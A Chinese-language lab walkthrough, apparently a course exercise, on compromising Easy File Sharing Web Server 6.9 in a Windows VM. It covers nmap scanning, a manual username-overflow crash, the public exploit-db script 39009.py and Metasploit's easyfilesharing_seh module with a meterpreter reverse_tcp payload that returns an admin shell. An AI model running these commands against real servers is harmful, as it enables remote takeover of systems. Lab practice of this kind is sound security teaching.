Easy File Sharing Web Server 漏洞的简单利用
背景
- EFS Easy File Sharing (EFS) Web Server是荷兰EFS Software公司的一套集论坛网站,文件上传、下载、共享和图片共享等功能的文件共享软件。
- EFS EFS Web Server 7.2版本中存在基于栈的缓冲区溢出漏洞。远程攻击者可通过向forum.ghp文件发送恶意的登录请求利用该漏洞执行任意代码。
- Easy File Sharing Web Server在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞获取敏感信息。Easy File Sharing Web Server在上传文件时没有正确地过滤某些参数,允许用户通过目录遍历攻击向任意父目录上传文件。
- 由于Easy File Sharing Web Server 6.9这个程序对输入的用户名长度不进行校验,存在缓冲区溢出漏洞,导致当用户输入太长的用户名导致缓冲区溢出,覆盖程序原本的返回地址,导致程序因跳转到非法地址奔溃或跳转到黑客控制的恶意代码地址进而导致服务器被黑客控制。
Requirement
- 需求攻击机
- 靶机(Window)
- Easy File Sharing Web Server
Easy File Sharing Web Server
这是一个软件,由我们老师提供下载,其他人应该可以搜索下载Easy File Sharing Web Server。
下载之后我们需要把它拖到对应的window虚拟机中。
自行百度:
- VMware Tools下载
- VMware Tools下载灰色
- 下载失败:https://blog.csdn.net/m0_55972178/article/details/118533231(如果用法二,在自带的edge浏览器好像比较容易下载)
Work
下载
下载的过程就一路点。
当然可以修改安装路径。
直接点击Try it!
得到靶机ip
输入ipconfig
扫描靶机端口
用linux扫window7
可能会扫不到,这时候就需要检测window7的防火墙是否被关闭,需要关闭防火墙。
nmap ip
发现开放的80端口
1 | nmap -sV 目标靶机ip地址 |
不知道为什么,我得添加一个-Pn,默认目标靶机在线:
1 | nmap -Pn -sV 目标靶机ip地址 |
发现其开放Easy File Sharing Web Server httpd 6.9
,这个版本存在缓冲区溢出漏洞:
漏洞利用
利用手动注入使缓冲区溢出
在浏览器中输入:
1 | 目标靶机ip地址:80 (使用英文符号以及无空格) |
进入了 Easy File Sharing Web Server的登入页
该登陆页面username存在溢出漏洞
也就是当我们在Username中输入过长的用户名时,该服务程序会发生缓冲区溢出
1 | for(int i=0;i<5000;i++){ |
复制打印的5000个字符,输入Username,然后直接扥入。
发现网页无响应
打开靶机发现,该程序已崩溃,这是因为输入的字符覆盖了程序原本的返回地址,导致程序转入非法地址崩溃。
如果将这些字符改为攻击脚本,让返回的地址为我们的攻击木马,可以进一步利用漏洞。
利用kali自带的攻击脚本
在靶机上重启服务程序,在kali输入:
1 | searchsploit easy file sharing |
这一行命令的功能是:在kali自带的漏洞利用脚本库中寻找easy file sharing的漏洞利用脚本
这里使用39009.py,其他攻击脚本同样奏效。
1 | Easy File Sharing Web Server 7.2 - HEAD Request Buffer Overflow (SEH) |
这个脚本是专门攻击Easy File Sharing Web Server httpd 7.2 版本的
但是其对Easy File Sharing Web Server httpd 6.9版本同样有效,并且它的执行效果是让服务器弹计算机并崩溃
脚本命令如下:
1 | python /usr/share/exploitdb/exploits/windows/remote/39009.py 目标靶机ip地址 80 |
打开靶机,发现计算器弹出,并且程序崩溃。
利用metasploit进行漏洞利用
在终端输入
1 | msfconsole |
msf启动完成后输入,找到EasyFileSharing的漏洞利用模块
1 | search EasyFileSharing |
选择 2015年的这个利用模块,输入:
1 | use exploit/windows/http/easyfilesharing_seh |
因为目标靶机还没设置,所以msf会报错No payload configured, defaulting to windows/meterpreter/reverse_tcp
接下来进行配置
1 | show options |
配值目标靶机地址:
1 | set RHOSTS 目标靶机的ip地址 |
然后执行攻击模块输入:
1 | exploit |
模块执行成功,可以输入自己想输入的命令
也可以查看自己目前的权限
1 | PLAINTEXT |
发现已经拿到管理员权限